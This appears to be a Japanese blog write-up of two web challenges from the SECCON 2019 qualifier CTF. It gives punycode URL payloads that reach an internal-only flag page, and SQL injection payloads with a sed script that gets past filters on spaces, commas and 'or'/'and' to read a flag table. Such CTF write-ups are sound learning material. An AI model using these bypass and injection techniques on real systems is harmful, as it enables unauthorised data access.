眠気

戯言とメモ

SECCON 2019 Quals Write up

都内の温泉施設で参加してました。

あまり解けなかったのが残念でした。


Option-Cmd-U

punycodeをいい感じにする問題だと思い、punycodeについて調べていた。

<!-- src of this PHP script: /index.php?action=source -->
<!-- the flag is in /flag.php, which permits access only from internal network :-) -->
<!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->

punycodeの仕様上ハイフンが入ってしまうため、flag.phpは難しそうだけれど、 上記のHTMLのコメント部分にある docker-compose.yml なら作れそうだったので、docker-compose.ymlをそれ経由で取得すれば何か得れるのではないか

と思ってやってました。特に何も得れなかったです。

ちなみに以下でpunycodeがdocker-compose.ymlに変換される。

http://c:b.d.wa@nизginижxе/docker.yml => http://c:b.d.wa@nginx/docker-compose.yml

その後チームの人が、ドットの位置でpunycodeの変換部分が変えられること、数字部分のみをポートとして解釈することを見つけてくれていたので、 また、ポートの部分を複数設定することで区切りに出来たため横取りみたいな形でフラグを取ってしまった

http://a:.@✊nginx:80.:/flag.php => http://a:.xn--@nginx:80-5s4f.:/flag.php

SECCON{what_a_easy_bypass_314208thg0n423g}


web_search

空白文字とカンマ、それと orand が制限されていた。

空白文字は /**/oroorrandaandnd に変換するようにすれば動くようになった。 そのあたりはスクリプトを作成してクエリを書くと楽だった。

$ web> cat try.sql
'union (select * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d);#'%                                                                                   
$ web> cat conv.sh
sed -e "s/or/oorr/g" | sed -e "s/and/aandnd/g" | sed -e "s/\ /\/\*\*\//g"
$ web> cat try.sql | ./conv.sh
'union/**/(select/**/*/**/FROM/**/(SELECT/**/1)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(SELECT/**/3)c/**/JOIN/**/(SELECT/**/4)d);#'

' oorr/**/1 ;#' と入れるととりあえずFLAGの前半部分が取れる

FLAG
The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!

カンマが使えないためunionでつなげるのが難しく、カラム名もinformation_schemaテーブルから取ろうかと思って奮闘したが取れなかったようだった。

selectを複数joinさせる形でカラム数が増やせたので、それでflagテーブルをjoinさせた。

'union (select * FROM (SELECT * from flag )a JOIN (SELECT 2)b JOIN (SELECT 3)c);#'

=> 'union/**/(select/**/*/**/FROM/**/(SELECT/**/*/**/from/**/flag/**/)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(SELECT/**/3)c);#'

You_Win_Yeah}

疲れた際にいつでも温泉に入れるのは良かったけれど、多少ダレてしまうのがネックだった。